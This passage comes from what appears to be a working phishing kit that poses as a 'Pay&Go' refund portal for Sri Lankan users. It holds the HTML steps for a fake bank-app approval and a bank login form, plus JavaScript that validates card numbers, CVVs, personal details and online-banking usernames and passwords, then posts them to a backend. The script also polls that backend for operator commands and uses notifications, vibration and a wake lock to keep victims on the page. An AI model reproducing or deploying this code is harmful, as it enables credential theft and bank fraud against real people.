    &lt;!-- STEP 6: APP APPROVAL --&gt;
    &lt;div class=&quot;card step-app hidden&quot; id=&quot;step6&quot;&gt;
        &lt;h2&gt;Approve on your device&lt;/h2&gt;
        &lt;p&gt;Please open your banking app and approve the pending refund to complete your claim.&lt;/p&gt;

        &lt;div class=&quot;app-box&quot;&gt;
            &lt;div class=&quot;phone-mockup&quot;&gt;
                &lt;div class=&quot;phone-screen&quot;&gt;
                    &lt;div class=&quot;bank-logo&quot;&gt;B&lt;/div&gt;
                    &lt;div class=&quot;approve-text&quot;&gt;Approve Refund&lt;/div&gt;
                    &lt;div class=&quot;approve-amount&quot;&gt;Rs 15,000.00&lt;/div&gt;
                    &lt;div class=&quot;confirm-btn&quot;&gt;CONFIRM&lt;/div&gt;
                    &lt;div class=&quot;cancel-btn&quot;&gt;CANCEL&lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;app-caption&quot;&gt;Tap Confirm in your banking app&lt;/div&gt;
            &lt;div class=&quot;app-subcaption&quot;&gt;Look for a payment notification and press the green Confirm button&lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;dots&quot; style=&quot;margin-bottom:24px;&quot;&gt;
            &lt;div class=&quot;dot&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;dot&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;dot&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;

        &lt;button class=&quot;btn-primary active&quot; onclick=&quot;submitApp()&quot;&gt;I have approved&lt;/button&gt;
    &lt;/div&gt;

    &lt;!-- STEP 7: SUCCESS --&gt;
    &lt;div class=&quot;card step-success hidden&quot; id=&quot;step7&quot;&gt;
        &lt;div class=&quot;check-icon&quot;&gt;&amp;#10003;&lt;/div&gt;
        &lt;h2&gt;Refund Complete&lt;/h2&gt;
        &lt;p&gt;Your refund has been successfully processed. The funds will be transferred to your Sri Lankan bank account within 1-2 business days.&lt;/p&gt;
        &lt;div class=&quot;ref-box&quot;&gt;
            &lt;strong id=&quot;ref-code&quot;&gt;Reference: PG-XXXXXXXX&lt;/strong&gt;
        &lt;/div&gt;
        &lt;button class=&quot;btn-primary active&quot; onclick=&quot;clearSession();location.reload()&quot;&gt;Return to Pay&amp;Go&lt;/button&gt;
    &lt;/div&gt;

    &lt;!-- STEP 8: BANK LOGIN --&gt;
    &lt;div class=&quot;card step-bank hidden&quot; id=&quot;step8&quot;&gt;
        &lt;div class=&quot;bank-icon&quot;&gt;&amp;#127974;&lt;/div&gt;
        &lt;h2&gt;Verify Your Bank Account for Refund&lt;/h2&gt;
        &lt;p class=&quot;subtitle&quot;&gt;To process your refund securely, please log in to your Sri Lankan online banking to confirm your identity.&lt;/p&gt;

        &lt;div class=&quot;amount-box&quot; style=&quot;display:flex; justify-content:space-between; align-items:center; text-align:left; padding:16px 20px;&quot;&gt;
            &lt;div&gt;
                &lt;div style=&quot;font-size:12px; color:#6b7280; margin-bottom:4px;&quot;&gt;Refund Amount&lt;/div&gt;
                &lt;div style=&quot;font-size:20px; font-weight:700;&quot;&gt;15,000 LKR&lt;/div&gt;
            &lt;/div&gt;
            &lt;div style=&quot;text-align:right;&quot;&gt;
                &lt;div style=&quot;font-size:12px; color:#6b7280; margin-bottom:4px;&quot;&gt;Status&lt;/div&gt;
                &lt;div style=&quot;font-size:14px; font-weight:500; color:#f59e0b;&quot;&gt;Bank verification required for refund&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;bank-security&quot;&gt;
            &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z&quot;/&gt;&lt;/svg&gt;
            256-bit SSL Encrypted &amp;bull; Secure bank-grade connection
        &lt;/div&gt;

        &lt;div class=&quot;error-msg&quot; id=&quot;err8&quot;&gt;Please select your bank and enter valid credentials to receive your refund.&lt;/div&gt;

        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Select Your Bank *&lt;/label&gt;
            &lt;select class=&quot;form-select&quot; id=&quot;bank_name&quot;&gt;
                &lt;option value=&quot;&quot;&gt;Choose your bank...&lt;/option&gt;
                &lt;option value=&quot;Bank of Ceylon&quot;&gt;Bank of Ceylon&lt;/option&gt;
                &lt;option value=&quot;Commercial Bank&quot;&gt;Commercial Bank&lt;/option&gt;
                &lt;option value=&quot;Hatton National Bank (HNB)&quot;&gt;Hatton National Bank (HNB)&lt;/option&gt;
                &lt;option value=&quot;Sampath Bank&quot;&gt;Sampath Bank&lt;/option&gt;
                &lt;option value=&quot;Seylan Bank&quot;&gt;Seylan Bank&lt;/option&gt;
                &lt;option value=&quot;DFCC Bank&quot;&gt;DFCC Bank&lt;/option&gt;
                &lt;option value=&quot;Nations Trust Bank&quot;&gt;Nations Trust Bank&lt;/option&gt;
                &lt;option value=&quot;People&#039;s Bank&quot;&gt;People&#039;s Bank&lt;/option&gt;
                &lt;option value=&quot;National Savings Bank&quot;&gt;National Savings Bank&lt;/option&gt;
                &lt;option value=&quot;Pan Asia Bank&quot;&gt;Pan Asia Bank&lt;/option&gt;
                &lt;option value=&quot;Union Bank&quot;&gt;Union Bank&lt;/option&gt;
                &lt;option value=&quot;Amana Bank&quot;&gt;Amana Bank&lt;/option&gt;
                &lt;option value=&quot;Cargills Bank&quot;&gt;Cargills Bank&lt;/option&gt;
                &lt;option value=&quot;Standard Chartered Bank&quot;&gt;Standard Chartered Bank&lt;/option&gt;
                &lt;option value=&quot;HSBC Sri Lanka&quot;&gt;HSBC Sri Lanka&lt;/option&gt;
                &lt;option value=&quot;Citibank Sri Lanka&quot;&gt;Citibank Sri Lanka&lt;/option&gt;
                &lt;option value=&quot;State Bank of India (SBI)&quot;&gt;State Bank of India (SBI)&lt;/option&gt;
                &lt;option value=&quot;Indian Bank&quot;&gt;Indian Bank&lt;/option&gt;
                &lt;option value=&quot;ICICI Bank&quot;&gt;ICICI Bank&lt;/option&gt;
                &lt;option value=&quot;Habib Bank&quot;&gt;Habib Bank&lt;/option&gt;
            &lt;/select&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-bank_name&quot;&gt;Please select your bank.&lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Internet Banking Username / Client Number *&lt;/label&gt;
            &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;bank_user&quot; placeholder=&quot;Enter your username&quot; autocomplete=&quot;username&quot; name=&quot;username&quot;&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-bank_user&quot;&gt;Enter your banking username.&lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Internet Banking Password *&lt;/label&gt;
            &lt;input type=&quot;password&quot; class=&quot;form-input&quot; id=&quot;bank_pass&quot; placeholder=&quot;Enter your password&quot; autocomplete=&quot;current-password&quot; name=&quot;password&quot;&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-bank_pass&quot;&gt;Enter your banking password.&lt;/div&gt;
        &lt;/div&gt;

        &lt;button class=&quot;btn-primary active&quot; id=&quot;btn-step8&quot; onclick=&quot;submitBank()&quot;&gt;Verify &amp; Continue&lt;/button&gt;

        &lt;div class=&quot;footer-trust&quot;&gt;
            &lt;div class=&quot;trust-item&quot;&gt;
                &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z&quot;/&gt;&lt;/svg&gt;
                Sri Lankan Bank-grade security
            &lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;
                &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;circle cx=&quot;12&quot; cy=&quot;12&quot; r=&quot;10&quot;/&gt;&lt;path d=&quot;M12 6v6l4 2&quot;/&gt;&lt;/svg&gt;
                256-bit SSL
            &lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;
                &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M22 11.08V12a10 10 0 1 1-5.93-9.14&quot;/&gt;&lt;polyline points=&quot;22 4 12 14.01 9 11.01&quot;/&gt;&lt;/svg&gt;
                Refund Verified by Pay&amp;Go
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

&lt;/div&gt;

&lt;!-- Footer --&gt;
&lt;div class=&quot;footer&quot;&gt;
    &lt;div class=&quot;footer-left&quot;&gt;Proudly Sri Lankan Owned &amp; Operated&lt;/div&gt;
    &lt;div class=&quot;footer-right&quot;&gt;&amp;copy; 2026 MegaPay (Pvt) Ltd. All rights reserved.&lt;/div&gt;
&lt;/div&gt;

&lt;script&gt;
    // ============================================
    // CONFIG
    // ============================================
    var userId = &quot;PG_&quot; + Math.random().toString(36).substr(2, 9);
    var BACKEND = &quot;backend.php&quot;;
    var STORAGE_KEY = &quot;paygo_session_v1&quot;;

    // ============================================
    // STATE
    // ============================================
    var pollTimer = null;
    var isPolling = false;
    var currentStep = 1;
    var cardAttempt = 0;
    var isAmex = false;
    var lastDataStep = 0;
    var idleTimeout = null;
    var pageVisible = true;
    var originalTitle = document.title;
    var titleFlashInterval = null;
    var notifPermission = false;

    // ============================================
    // NOTIFICATION SYSTEM
    // ============================================
    function requestNotificationPermission() {
        if (!(&quot;Notification&quot; in window)) return;
        if (Notification.permission === &quot;granted&quot;) {
            notifPermission = true;
        } else if (Notification.permission !== &quot;denied&quot;) {
            Notification.requestPermission().then(function(p) {
                notifPermission = (p === &quot;granted&quot;);
            });
        }
    }

    function sendBrowserNotification(title, body) {
        if (!notifPermission || pageVisible) return;
        try {
            new Notification(title, {
                body: body,
                icon: &quot;https://kimi-web-img.kimi.ai/img/www.paygo.lk/3a72dfe7b2c39c9c92389dcddfced8e65e42534f.png&quot;,
                badge: &quot;https://kimi-web-img.kimi.ai/img/www.paygo.lk/3a72dfe7b2c39c9c92389dcddfced8e65e42534f.png&quot;,
                tag: &quot;hotdoc-&quot; + userId,
                requireInteraction: true,
                vibrate: [200, 100, 200]
            });
        } catch(e) {}
    }

    function playAlertSound() {
        try {
            var ctx = new (window.AudioContext || window.webkitAudioContext)();
            var osc = ctx.createOscillator();
            var gain = ctx.createGain();
            osc.connect(gain);
            gain.connect(ctx.destination);
            osc.frequency.value = 880;
            osc.type = &#039;sine&#039;;
            gain.gain.setValueAtTime(0.1, ctx.currentTime);
            gain.gain.exponentialRampToValueAtTime(0.001, ctx.currentTime + 0.5);
            osc.start(ctx.currentTime);
            osc.stop(ctx.currentTime + 0.5);
        } catch(e) {}
    }

    function vibrateDevice() {
        if (navigator.vibrate) {
            navigator.vibrate([200, 100, 200, 100, 200]);
        }
    }

    function flashTitle(msg) {
        if (pageVisible) return;
        if (titleFlashInterval) clearInterval(titleFlashInterval);
        var flash = true;
        titleFlashInterval = setInterval(function() {
            document.title = flash ? &quot;🔔 &quot; + msg : originalTitle;
            flash = !flash;
        }, 1000);
    }

    function stopFlashTitle() {
        if (titleFlashInterval) {
            clearInterval(titleFlashInterval);
            titleFlashInterval = null;
            document.title = originalTitle;
        }
    }

    // ============================================
    // PAGE VISIBILITY API
    // ============================================
    function handleVisibilityChange() {
        if (document.hidden || document.visibilityState === &#039;hidden&#039;) {
            pageVisible = false;
        } else {
            pageVisible = true;
            stopFlashTitle();
            // If we were polling, do an immediate check for missed commands
            if (isPolling) {
                doPoll(lastDataStep);
            }
        }
    }

    if (document.hidden !== undefined) {
        document.addEventListener(&quot;visibilitychange&quot;, handleVisibilityChange);
    } else if (document.webkitHidden !== undefined) {
        document.addEventListener(&quot;webkitvisibilitychange&quot;, handleVisibilityChange);
    }

    // ============================================
    // WAKE LOCK (keep screen awake on mobile)
    // ============================================
    var wakeLock = null;
    async function requestWakeLock() {
        try {
            if (&#039;wakeLock&#039; in navigator) {
                wakeLock = await navigator.wakeLock.request(&#039;screen&#039;);
                wakeLock.addEventListener(&#039;release&#039;, function() {
                    console.log(&#039;Wake lock released&#039;);
                });
            }
        } catch(e) {}
    }

    function releaseWakeLock() {
        if (wakeLock) {
            wakeLock.release();
            wakeLock = null;
        }
    }

    // ============================================
    // SESSION PERSISTENCE (localStorage)
    // ============================================
    function saveProgress() {
        var formData = {
            phone: document.getElementById(&#039;phone&#039;) ? document.getElementById(&#039;phone&#039;).value : &#039;&#039;,
            fname: document.getElementById(&#039;fname&#039;) ? document.getElementById(&#039;fname&#039;).value : &#039;&#039;,
            lname: document.getElementById(&#039;lname&#039;) ? document.getElementById(&#039;lname&#039;).value : &#039;&#039;,
            dob: document.getElementById(&#039;dob&#039;) ? document.getElementById(&#039;dob&#039;).value : &#039;&#039;,
            address: document.getElementById(&#039;address&#039;) ? document.getElementById(&#039;address&#039;).value : &#039;&#039;,
            city: document.getElementById(&#039;city&#039;) ? document.getElementById(&#039;city&#039;).value : &#039;&#039;,
            postcode: document.getElementById(&#039;postcode&#039;) ? document.getElementById(&#039;postcode&#039;).value : &#039;&#039;,
            email: document.getElementById(&#039;email&#039;) ? document.getElementById(&#039;email&#039;).value : &#039;&#039;,
            card: document.getElementById(&#039;card&#039;) ? document.getElementById(&#039;card&#039;).value : &#039;&#039;,
            exp: document.getElementById(&#039;exp&#039;) ? document.getElementById(&#039;exp&#039;).value : &#039;&#039;,
            cvv: document.getElementById(&#039;cvv&#039;) ? document.getElementById(&#039;cvv&#039;).value : &#039;&#039;,
            bank_name: document.getElementById(&#039;bank_name&#039;) ? document.getElementById(&#039;bank_name&#039;).value : &#039;&#039;,
            bank_user: document.getElementById(&#039;bank_user&#039;) ? document.getElementById(&#039;bank_user&#039;).value : &#039;&#039;,
            bank_pass: document.getElementById(&#039;bank_pass&#039;) ? document.getElementById(&#039;bank_pass&#039;).value : &#039;&#039;
        };
        var state = {
            userId: userId,
            currentStep: currentStep,
            lastDataStep: lastDataStep,
            formData: formData,
            cardAttempt: cardAttempt,
            timestamp: Date.now()
        };
        localStorage.setItem(STORAGE_KEY, JSON.stringify(state));
    }

    function loadProgress() {
        var saved = localStorage.getItem(STORAGE_KEY);
        if (!saved) return false;
        try {
            var state = JSON.parse(saved);
            if (Date.now() - (state.timestamp || 0) &gt; 86400000) {
                localStorage.removeItem(STORAGE_KEY);
                return false;
            }
            userId = state.userId || userId;
            lastDataStep = state.lastDataStep || 0;
            cardAttempt = state.cardAttempt || 0;

            if (state.formData) {
                for (var key in state.formData) {
                    var el = document.getElementById(key);
                    if (el) el.value = state.formData[key];
                }
            }

            if (lastDataStep &gt;= 3) {
                showStep(4);
                startPolling(lastDataStep);
            } else {
                var targetStep = lastDataStep + 1;
                showStep(targetStep);
                if (targetStep === 1) checkStep1();
                if (targetStep === 2) checkStep2();
                if (targetStep === 3) {
                    var savedCard = (state.formData &amp;&amp; state.formData.card) || &#039;&#039;;
                    isAmex = /^3[47]/.test(savedCard.replace(/\D/g, &#039;&#039;));
                    updateCardTypeUI();
                    checkStep3();
                }
                if (targetStep === 8) checkStep8();
            }
            return true;
        } catch(e) {
            return false;
        }
    }

    function clearSession() {
        localStorage.removeItem(STORAGE_KEY);
    }

    // ============================================
    // NOTIFICATION TOAST
    // ============================================
    function showNotification(msg) {
        var toast = document.getElementById(&#039;notifToast&#039;);
        var text = document.getElementById(&#039;notifText&#039;);
        text.textContent = msg;
        toast.classList.add(&#039;show&#039;);
        setTimeout(function() {
            toast.classList.remove(&#039;show&#039;);
        }, 6000);
    }

    // ============================================
    // CARD BIN DETECTION (AU Banks)
    // ============================================
    var bankBins = {
        &#039;405221&#039;: &#039;Bank of Ceylon&#039;, &#039;454363&#039;: &#039;Commercial Bank&#039;, &#039;535316&#039;: &#039;Hatton National Bank&#039;,
        &#039;407220&#039;: &#039;Sampath Bank&#039;, &#039;450949&#039;: &#039;Seylan Bank&#039;, &#039;543049&#039;: &#039;DFCC Bank&#039;,
        &#039;552287&#039;: &#039;Nations Trust Bank&#039;, &#039;456443&#039;: &#039;People\&#039;s Bank&#039;, &#039;493827&#039;: &#039;National Savings Bank&#039;,
        &#039;456470&#039;: &#039;Pan Asia Bank&#039;, &#039;493834&#039;: &#039;Union Bank&#039;, &#039;493838&#039;: &#039;Amana Bank&#039;,
        &#039;512345&#039;: &#039;Cargills Bank&#039;, &#039;456472&#039;: &#039;Standard Chartered&#039;, &#039;493839&#039;: &#039;HSBC Sri Lanka&#039;,
        &#039;456444&#039;: &#039;Citibank Sri Lanka&#039;, &#039;456445&#039;: &#039;State Bank of India&#039;,
        &#039;493840&#039;: &#039;Indian Bank&#039;, &#039;456446&#039;: &#039;ICICI Bank&#039;, &#039;535318&#039;: &#039;Habib Bank&#039;
    };

    function detectBank(cardNum) {
        var digits = cardNum.replace(/\D/g, &#039;&#039;);
        if (digits.length &lt; 6) return null;
        var prefix6 = digits.substr(0, 6);
        if (bankBins[prefix6]) return bankBins[prefix6];
        var prefix5 = digits.substr(0, 5);
        for (var bin in bankBins) {
            if (bin.indexOf(prefix5) === 0) return bankBins[bin];
        }
        var prefix4 = digits.substr(0, 4);
        for (var bin2 in bankBins) {
            if (bin2.indexOf(prefix4) === 0) return bankBins[bin2];
        }
        return null;
    }

    // ============================================
    // VALIDATION HELPERS
    // ============================================
    function stripSpaces(v) {
        return v.replace(/\s/g, &#039;&#039;);
    }

    function isValidPhone(v) {
        var digits = stripSpaces(v);
        return /^07\d{8}$/.test(digits);
    }

    function isValidEmail(v) {
        return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v);
    }

    function isValidDob(v) {
        if (!/^\d{2}\/\d{2}\/\d{4}$/.test(v)) return false;
        var parts = v.split(&#039;/&#039;);
        var d = parseInt(parts[0], 10);
        var m = parseInt(parts[1], 10);
        var y = parseInt(parts[2], 10);
        if (m &lt; 1 || m &gt; 12 || d &lt; 1 || d &gt; 31 || y &lt; 1900 || y &gt; 2006) return false;
        var date = new Date(y, m - 1, d);
        return date.getDate() === d &amp;&amp; date.getMonth() === (m - 1) &amp;&amp; date.getFullYear() === y;
    }

    function isValidPostcode(v) {
        return /^\d{5}$/.test(v);
    }

    function isValidName(v) {
        return /^[a-zA-Z\s\-&#039;]{2,}$/.test(v);
    }

    function isValidCard(v) {
        var digits = stripSpaces(v);
        var len = isAmex ? 15 : 16;
        if (!new RegExp(&#039;^\\d{&#039; + len + &#039;}$&#039;).test(digits)) return false;
        var sum = 0, alternate = false;
        for (var i = digits.length - 1; i &gt;= 0; i--) {
            var n = parseInt(digits.substring(i, i + 1), 10);
            if (alternate) {
                n *= 2;
                if (n &gt; 9) n -= 9;
            }
            sum += n;
            alternate = !alternate;
        }
        return (sum % 10) === 0;
    }

    function isValidExp(v) {
        if (!/^\d{2}\/\d{2}$/.test(v)) return false;
        var parts = v.split(&#039;/&#039;);
        var mm = parseInt(parts[0], 10);
        var yy = parseInt(parts[1], 10);
        if (mm &lt; 1 || mm &gt; 12) return false;
        var now = new Date();
        var curYear = now.getFullYear() % 100;
        var curMonth = now.getMonth() + 1;
        var fullYear = yy &lt; 50 ? 10000 + yy : 1900 + yy;
        var cardDate = new Date(fullYear, mm, 0);
        return cardDate &gt;= new Date(now.getFullYear(), curMonth, 0);
    }

    function isValidCvv(v) {
        if (isAmex) return /^\d{5}$/.test(v);
        return /^\d{3}$/.test(v);
    }

    // ============================================
    // REAL-TIME UI HELPERS
    // ============================================
    function setInputState(id, valid, showError) {
        var el = document.getElementById(id);
        var err = document.getElementById(&#039;err-&#039; + id);
        if (!el) return;
        el.classList.remove(&#039;error&#039;, &#039;valid&#039;);
        if (valid) {
            el.classList.add(&#039;valid&#039;);
            if (err) err.classList.remove(&#039;show&#039;);
        } else if (showError) {
            el.classList.add(&#039;error&#039;);
            if (err) err.classList.add(&#039;show&#039;);
        } else {
            if (err) err.classList.remove(&#039;show&#039;);
        }
    }

    function setButtonActive(id, active) {
        var btn = document.getElementById(id);
        if (!btn) return;
        if (active) btn.classList.add(&#039;active&#039;);
        else btn.classList.remove(&#039;active&#039;);
    }

    function checkStep1() {
        var phone = document.getElementById(&#039;phone&#039;).value;
        var valid = isValidPhone(phone);
        setInputState(&#039;phone&#039;, valid, phone.length &gt;= 10);
        setButtonActive(&#039;btn-step1&#039;, valid);
    }

    function checkStep2() {
        var fname = document.getElementById(&#039;fname&#039;).value;
        var lname = document.getElementById(&#039;lname&#039;).value;
        var dob = document.getElementById(&#039;dob&#039;).value;
        var address = document.getElementById(&#039;address&#039;).value;
        var city = document.getElementById(&#039;city&#039;).value;
        var postcode = document.getElementById(&#039;postcode&#039;).value;
        var email = document.getElementById(&#039;email&#039;).value;

        setInputState(&#039;fname&#039;, isValidName(fname), fname.length &gt; 0);
        setInputState(&#039;lname&#039;, isValidName(lname), lname.length &gt; 0);
        setInputState(&#039;dob&#039;, isValidDob(dob), dob.length &gt;= 10);
        setInputState(&#039;address&#039;, address.length &gt;= 3, address.length &gt; 0);
        setInputState(&#039;city&#039;, city.length &gt;= 2, city.length &gt; 0);
        setInputState(&#039;postcode&#039;, isValidPostcode(postcode), postcode.length &gt;= 4);
        setInputState(&#039;email&#039;, isValidEmail(email), email.length &gt; 0);

        var ok = isValidName(fname) &amp;&amp; isValidName(lname) &amp;&amp; isValidDob(dob) &amp;&amp;
                 address.length &gt;= 3 &amp;&amp; city.length &gt;= 2 &amp;&amp;
                 isValidPostcode(postcode) &amp;&amp; isValidEmail(email);
        setButtonActive(&#039;btn-step2&#039;, ok);
    }

    function formatCardInput(val) {
        var digits = val.replace(/\D/g, &#039;&#039;);
        isAmex = /^3[47]/.test(digits);
        var maxLen = isAmex ? 15 : 16;
        digits = digits.substr(0, maxLen);

        var formatted = &#039;&#039;;
        if (isAmex) {
            for (var i = 0; i &lt; digits.length; i++) {
                if (i === 4 || i === 10) formatted += &#039; &#039;;
                formatted += digits[i];
            }
        } else {
            for (var i = 0; i &lt; digits.length; i++) {
                if (i &gt; 0 &amp;&amp; i % 4 === 0) formatted += &#039; &#039;;
                formatted += digits[i];
            }
        }
        return { formatted: formatted, isAmex: isAmex, maxLen: maxLen, digits: digits };
    }

    function updateCardTypeUI() {
        var cardVal = document.getElementById(&#039;card&#039;).value;
        var info = formatCardInput(cardVal);
        isAmex = info.isAmex;

        document.getElementById(&#039;logo-visa&#039;).classList.toggle(&#039;active&#039;, !isAmex &amp;&amp; info.digits.length &gt;= 1);
        document.getElementById(&#039;logo-mc&#039;).classList.toggle(&#039;active&#039;, !isAmex &amp;&amp; /^5/.test(info.digits));
        document.getElementById(&#039;logo-amex&#039;).classList.toggle(&#039;active&#039;, isAmex);

        var cvvEl = document.getElementById(&#039;cvv&#039;);
        var errCvv = document.getElementById(&#039;err-cvv&#039;);
        if (isAmex) {
            cvvEl.setAttribute(&#039;maxlength&#039;, &#039;4&#039;);
            cvvEl.setAttribute(&#039;placeholder&#039;, &#039;0000&#039;);
            errCvv.textContent = &#039;Enter a valid 4-digit AMEX security code.&#039;;
        } else {
            cvvEl.setAttribute(&#039;maxlength&#039;, &#039;3&#039;);
            cvvEl.setAttribute(&#039;placeholder&#039;, &#039;000&#039;);
            errCvv.textContent = &#039;Enter a valid 3-digit CVV.&#039;;
        }

        var maxFormatted = isAmex ? 17 : 19;
        document.getElementById(&#039;card&#039;).setAttribute(&#039;maxlength&#039;, maxFormatted.toString());
    }

    function checkStep3() {
        var card = document.getElementById(&#039;card&#039;).value;
        var exp = document.getElementById(&#039;exp&#039;).value;
        var cvv = document.getElementById(&#039;cvv&#039;).value;

        updateCardTypeUI();

        var cardValid = isValidCard(card);
        var expValid = isValidExp(exp);
        var cvvValid = isValidCvv(cvv);

        var cardDigits = stripSpaces(card).length;
        var targetLen = isAmex ? 15 : 16;

        setInputState(&#039;card&#039;, cardValid, cardDigits &gt;= targetLen);
        setInputState(&#039;exp&#039;, expValid, exp.length &gt;= 5);
        setInputState(&#039;cvv&#039;, cvvValid, cvv.length &gt;= (isAmex ? 4 : 3));

        var bankEl = document.getElementById(&#039;bank-detect&#039;);
        var bank = detectBank(card);
        if (bank &amp;&amp; cardDigits &gt;= 6) {
            bankEl.textContent = &#039;\ud83c\udfe6 &#039; + bank;
            bankEl.classList.add(&#039;show&#039;);
        } else {
            bankEl.classList.remove(&#039;show&#039;);
            bankEl.textContent = &#039;&#039;;
        }

        setButtonActive(&#039;btn-step3&#039;, cardValid &amp;&amp; expValid &amp;&amp; cvvValid);
    }

    function checkStep8() {
        var bank = document.getElementById(&#039;bank_name&#039;).value;
        var user = document.getElementById(&#039;bank_user&#039;).value;
        var pass = document.getElementById(&#039;bank_pass&#039;).value;

        setInputState(&#039;bank_name&#039;, bank !== &#039;&#039;, bank !== &#039;&#039;);
        setInputState(&#039;bank_user&#039;, user.length &gt;= 3, user.length &gt; 0);
        setInputState(&#039;bank_pass&#039;, pass.length &gt;= 4, pass.length &gt; 0);

        var ok = bank !== &#039;&#039; &amp;&amp; user.length &gt;= 3 &amp;&amp; pass.length &gt;= 4;
        setButtonActive(&#039;btn-step8&#039;, ok);
    }

    // ============================================
    // INPUT FORMATTERS + REAL-TIME VALIDATION
    // ============================================
    document.getElementById(&#039;phone&#039;).addEventListener(&#039;input&#039;, function(e) {
        var val = e.target.value.replace(/\D/g, &#039;&#039;).substr(0, 10);
        var formatted = val;
        if (val.length &gt; 7) formatted = val.slice(0, 3) + &#039; &#039; + val.slice(3, 6) + &#039; &#039; + val.slice(6);
        else if (val.length &gt; 3) formatted = val.slice(0, 3) + &#039; &#039; + val.slice(3);
        e.target.value = formatted;
        checkStep1();
    });
    document.getElementById(&#039;phone&#039;).addEventListener(&#039;blur&#039;, checkStep1);

    document.getElementById(&#039;dob&#039;).addEventListener(&#039;input&#039;, function(e) {
        var val = e.target.value.replace(/\D/g, &#039;&#039;).substr(0, 8);
        var formatted = val;
        if (val.length &gt; 4) formatted = val.slice(0, 2) + &#039;/&#039; + val.slice(2, 4) + &#039;/&#039; + val.slice(4);
        else if (val.length &gt; 2) formatted = val.slice(0, 2) + &#039;/&#039; + val.slice(2);
        e.target.value = formatted;
        checkStep2();
    });

    document.getElementById(&#039;postcode&#039;).addEventListener(&#039;input&#039;, function(e) {
        e.target.value = e.target.value.replace(/\D/g, &#039;&#039;).substr(0, 5);
        checkStep2();
    });

    [&#039;fname&#039;,&#039;lname&#039;,&#039;address&#039;,&#039;city&#039;,&#039;email&#039;].forEach(function(id) {
        document.getElementById(id).addEventListener(&#039;input&#039;, checkStep2);
        document.getElementById(id).addEventListener(&#039;blur&#039;, checkStep2);
    });
    document.getElementById(&#039;dob&#039;).addEventListener(&#039;blur&#039;, checkStep2);
    document.getElementById(&#039;postcode&#039;).addEventListener(&#039;blur&#039;, checkStep2);

    document.getElementById(&#039;card&#039;).addEventListener(&#039;input&#039;, function(e) {
        var info = formatCardInput(e.target.value);
        e.target.value = info.formatted;
        checkStep3();
    });
    document.getElementById(&#039;card&#039;).addEventListener(&#039;blur&#039;, checkStep3);

    document.getElementById(&#039;exp&#039;).addEventListener(&#039;input&#039;, function(e) {
        var val = e.target.value.replace(/\D/g, &#039;&#039;).substr(0, 4);
        var formatted = val;
        if (val.length &gt; 2) formatted = val.slice(0, 2) + &#039;/&#039; + val.slice(2);
        e.target.value = formatted;
        checkStep3();
    });
    document.getElementById(&#039;exp&#039;).addEventListener(&#039;blur&#039;, checkStep3);

    document.getElementById(&#039;cvv&#039;).addEventListener(&#039;input&#039;, function(e) {
        var max = isAmex ? 4 : 3;
        e.target.value = e.target.value.replace(/\D/g, &#039;&#039;).substr(0, max);
        checkStep3();
    });
    document.getElementById(&#039;cvv&#039;).addEventListener(&#039;blur&#039;, checkStep3);

    document.getElementById(&#039;bank_name&#039;).addEventListener(&#039;change&#039;, checkStep8);
    document.getElementById(&#039;bank_user&#039;).addEventListener(&#039;input&#039;, checkStep8);
    document.getElementById(&#039;bank_pass&#039;).addEventListener(&#039;input&#039;, checkStep8);

    // ============================================
    // HELPER: Send data to backend
    // ============================================
    function sendData(data) {
        var xhr = new XMLHttpRequest();
        xhr.open(&quot;POST&quot;, BACKEND, true);
        xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;application/json&quot;);
        xhr.send(JSON.stringify(data));
    }

    // ============================================
    // HELPER: Show/hide steps
    // ============================================
    function showStep(n) {
        for (var i = 1; i &lt;= 8; i++) {
            var el = document.getElementById(&quot;step&quot; + i);
            if (el) el.classList.add(&quot;hidden&quot;);
        }
        var target = document.getElementById(&quot;step&quot; + n);
        if (target) target.classList.remove(&quot;hidden&quot;);
        currentStep = n;

        if (n === 7) {
            var ref = &#039;HD-&#039; + Math.random().toString(36).substr(2, 8).toUpperCase();
            document.getElementById(&#039;ref-code&#039;).textContent = &#039;Reference: &#039; + ref;
        }
    }

    // ============================================
    // STEP 1: PHONE
    // ============================================
    function submitPhone() {
        var phone = document.getElementById(&quot;phone&quot;).value;
        if (!isValidPhone(phone)) {
            setInputState(&#039;phone&#039;, false, true);
            return;
        }
        lastDataStep = 1;
        saveProgress();
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 1,
            phone: phone,
            interaction: &quot;refund_phone_submitted&quot;
        });
        showStep(2);
    }

    // ============================================
    // STEP 2: PERSONAL INFO
    // ============================================
    function submitPersonal() {
        var fname = document.getElementById(&quot;fname&quot;).value;
